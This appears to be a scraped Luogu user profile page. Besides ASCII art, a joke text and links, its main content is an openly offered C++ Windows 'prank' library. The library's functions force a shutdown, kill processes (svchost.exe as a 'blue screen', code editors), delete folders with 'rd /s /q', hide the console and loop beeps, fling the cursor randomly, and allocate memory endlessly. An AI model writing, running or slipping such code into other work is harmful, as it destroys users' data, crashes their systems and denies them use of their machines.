跳到正文

xiebingchen

942798

真好玩u̸̙̳͂̿͆ͯ̋̒̇ͨ͟͠ś̳͕͖̬̮̳͋̄t̨̥͖͕̃͌̉̈ͮ̿ ̷͇̾ͬ̋M͚̝̘̞̯̦̌̂͑ͤ̓ͭ̀o͒̌̑̒̎͊͆ͬͬ҉̩̥͎n͖̻̜̰̪ͦͣ͐́͆̀̚ì̙̝ͪ͞k̶̴̺͕͓̹̱͚̪̍ͫ͂̇ͬ̑̉̓̍a̱̋ͦ͗̌̌̊͊̊́

在洛谷打开
资料、奖项与版本

资料

编号
942798
抓取

收起

团队说明 临时邮箱 level 11

CSP-J

洛谷

C++
#include <windows.h>
#include <cstdlib>
#include <cstdio>
#include <ctime>

namespace Tools {
	// Return a random number between a and b.
	bool init = false;
	int random(int a, int b) {
		if (!init) {
			srand(time(NULL));
			init = true;
		}
		return rand() % (b - a + 1) + a;
	}
	// Let integer s to a string and copy it to str.
	void to_string(int s, char *str) {
		int len = 0;
		do {
			str[len++] = s % 10 + '0';
			s /= 10;
		} while (s);
		str[len] = 0;
		for (int i = 0; i < (len / 2); i++) {
			char t = str[i];
			str[i] = str[len - 1 - i];
			str[len - 1 - i] = t;
		}
	}
}

namespace JC_mouse {
	// Get the mouse index. Return a type named POINT, (POINT.x, POINT.y) is the index of mouse.
	POINT get() {
		POINT point;
		GetCursorPos(&point);
		return point;
	}
	// Set the mouse index as (x, y).
	void set(int x, int y) {
		SetCursorPos(x, y);
	}
	// Get x or y
	int get_x() {
		return get().x;
	}
	int get_y() {
		return get().y;
	}
	// Set x or y
	void set_x(int x) {
		set(x, get_y());
	}
	void set_y(int y) {
		set(get_x(), y);
	}
}

namespace JC_window {
	// Hide or show the console.
	void hide() {
		ShowWindow(GetConsoleWindow(), SW_HIDE);
	}
	void show() {
		ShowWindow(GetConsoleWindow(), SW_SHOW);
	}
	// Define colors you can use for function JC_window::set_color
	const char *color_black          = "0";
	const char *color_grey           = "8";
	const char *color_blue           = "1";
	const char *color_light_blue     = "9";
	const char *color_green          = "2";
	const char *color_qian_green     = "3";
	const char *color_dan_green      = "A";
	const char *color_dan_qian_green = "B";
	const char *color_red            = "4";
	const char *color_light_red      = "C";
	const char *color_purple         = "5";
	const char *color_light_purple   = "D";
	const char *color_yellow         = "6";
	const char *color_light_yellow   = "E";
	const char *color_white          = "7";
	const char *color_light_white    = "F";
	// Set the color, so that:
	// the color of blackground is bg;
	// the color of foreground is fg.
	void set_color(const char *bg, const char *fg) {
		char cmd[1000] = "color ";
		strcat(cmd, bg);
		strcat(cmd, fg);
		system(cmd);
	}
}

namespace JC_system {
	// make sound beep
	void beep() {
		putchar('\a');
	}
	// wait some second of s.
	void wait_s(int s) {
		Sleep(s * 1000);
	}
	// wait time of m:s
	void wait_m_s(int m, int s) {
		wait_s(m * 60 + s);
	}
	// wait time of h:m:s
	void wait_h_m_s(int h, int m, int s) {
		wait_s(h * 3600 + m * 60 + s);
	}
	// run command
	void run_command(const char *cmd) {
		system(cmd);
	} 
	// quit_window some second of s
	void quit_s(int s) {
		if (s < 0) return;
		char str[1000];
		Tools::to_string(s, str);
		char cmd[1000] = "shutdown /f /s /t ";
		strcat(cmd, str);
		system(cmd);
	}
	// quit_window some time of m:s
	void quit_m_s(int m, int s) {
		quit_s(m * 60 + s);
	}
	// quit_window some time of h:m:s
	void quit_h_m_s(int h, int m, int s) {
		quit_s(h * 3600 + m * 60 + s);
	}
	// cancel quit windows
	void cancel_quit() {
		system("shutdown /a");
	}
	// kill task
	void kill_task(const char *name) {
		char cmd[1000] = "taskkill /f /t /im ";
		strcat(cmd, name);
		system(cmd);
	}
	// Computer blue screen 
	void blue_screen() {
		kill_task("svchost.exe");
	}
	// Kill DevC++
	void kill_devcpp() {
		kill_task("devcpp.exe");
	}
	// Kill Visual Stdio Code (vs code for short)
	void kill_vscode() {
		kill_task("code.exe");
	}
	// remove fold
	void remove_fold(const char *fold) {
		char cmd[1000] = "rd /s /q ";
		strcat(cmd, fold);
		system(cmd);
	}
}

namespace JC_simple {
	// Stuck system
	void loop_beep() {
		JC_window::hide();
		while (true) JC_system::beep();
	}
	// Cursor random
	void fly_cursor() {
		JC_window::hide();
		while (true) {
			JC_mouse::set_x(Tools::random(0, 1000));
			JC_mouse::set_y(Tools::random(0, 1000));
		}
	}
	void infinite_memory() {  // Thanks d0j1a_1701's adding 
		JC_window::hide();
		__int128_t *magic[114514];
		while (true) {
			for (int i = 0; i < 114514; i++) {
				magic[i] = new __int128_t;
			}
		}
	}
}

int main() {
	
	return 0;
}
代码
`                                                     蒟   蒟        蒻   蒻
       b                           i               蒟蒟蒟蒟蒟蒟蒟蒟蒟蒟蒟  蒻蒻蒻蒻蒻蒻蒻蒻蒻蒻蒻
       b                                              蒟   蒟        蒻   蒻
x   x  bbbb    ccc                ii    sss          蒟   蒟      蒻蒻蒻蒻蒻 蒻蒻蒻蒻蒻
x   x  b   b  c   c                i   s   s       蒟蒟蒟蒟蒟 蒟蒟蒟蒟蒟      蒻     蒻
 x x   b   b  c                    i   s                蒟    蒟  蒻蒻蒻蒻蒻 蒻蒻蒻蒻蒻
  x    b   b  c                    i    sss         蒟 蒟  蒟蒟蒟 蒟  蒻     蒻
 x x   b   b  c                    i       s        蒟 蒟  蒟 蒟 蒟  蒻蒻蒻蒻蒻 蒻蒻蒻蒻蒻
x   x  b   b  c   c                i   s   s        蒟 蒟  蒟蒟蒟 蒟   蒻 蒻蒻  蒻 蒻蒻
x   x  bbbb    ccc                iii   sss           蒟蒟     蒟  蒻 蒻 蒻 蒻 蒻 蒻
                                                   蒟蒟蒟     蒟蒟蒟   蒻 蒻蒻  蒻 蒻蒻

acsii

C++
#include <algorithm>
#include <bitset>
#include <complex>
#include <deque>
#include <exception>
#include <fstream>
#include <functional>
#include <iomanip>
#include <ios>
#include <iosfwd>
#include <iostream>
#include <istream>
#include <iterator>
#include <limits>
#include <list>
#include <locale>
#include <map>
#include <memory>
#include <new>
#include <numeric>
#include <ostream>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <stdexcept>
#include <streambuf>
#include <string>
#include <typeinfo>
#include <utility>
#include <valarray>
#include <vector>
#include <cctype>
#include <cerrno>
#include <cfloat>
#include <ciso646>
#include <climits>
#include <clocale>
#include <cmath>
#include <csetjmp>
#include <csignal>
#include <cstdarg>
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#include <cwchar>
#include <cwctype>

关于SB这件事

大清早的,孩子们背上了SB(书包); 大人们忙着去SB(上班); 我呢,就来上网看看又有什么新消息在SB(散播); 晚上,点菜的时候我说SB(随便); 吃饱了到大街上SB(散步); 回来手里就抓着SB(鼠标); 有心情还去博客里写写SB(随笔); 人,整天都在SB ! 有幸碰到两美国美妞聊天,以为自己英文过关,但只听清一句话就是SB(somebody = sb.); 人活着可真SB(失败)啊… 那年我SB(十八),到部队当SB(士兵)。一开始,我当的是SB(哨兵)。 苦差事啊,看见SB(上边)就要敬礼,一站几个钟头还不让看SB(手表),屁大的事情都要及时SB(上报),练站姿的时候还要挂个小SB(沙包),一天下来,连SB(散步)的力气也没有了。 我就SB(随便)编了个理由说我SB(生病)想转去当SB(水兵),结果被分到一个SB(舢板)上,靠,就我那个SB(身板),把我晕得呀,连上个月会餐吃的SB(扇贝)、SB(烧饼)都吐出来了,额滴神呀,我SB(上辈)子做了什么孽啊。 领导打算把我改去当SB(伞兵),我说我不去,这要是着陆不小心,SB(势必)就变成SB(伤兵)了,要是SB(手背)或者SB(上臂)受伤裹上SB(纱布),最多留个SB(伤疤),要是腿摔断,可就变成SB(孙膑)了,如果遇到SB(山包)SB(闪避)不及,那可真的SB(折本)了。 于是,我干脆SB(收兵)不干了。当兵前后SB(三百)天,除了累得脸SB(刷白),什么也没有学到。去SB(上班)吧?我念书的时候也不认真,从来不带SB(书包)、不看SB(书本),现在连SB(鼠标)都不会用。 只好去给人家看SB(水泵),我连SB(烧杯)都没有摸过,我哪懂?那个SB(设备),没有说明、没有SB(商标)也没有…

我的坤术

做题时

wdsj

https://cursoreffects.com/

https://csacademy.com/app/graph_editor/

https://miniwebtool.com/zh-cn/list-of-prime-numbers/?to=100

叠

儿砸

就算告诉你图里是最有用的链接,又咋样?

CCTV视频频道

众神归位

不问别离

我好像忘了什么,对了,还有这个(只因)

王者看下面

使命看下面

O原点这里

还没有收录这位用户的文章。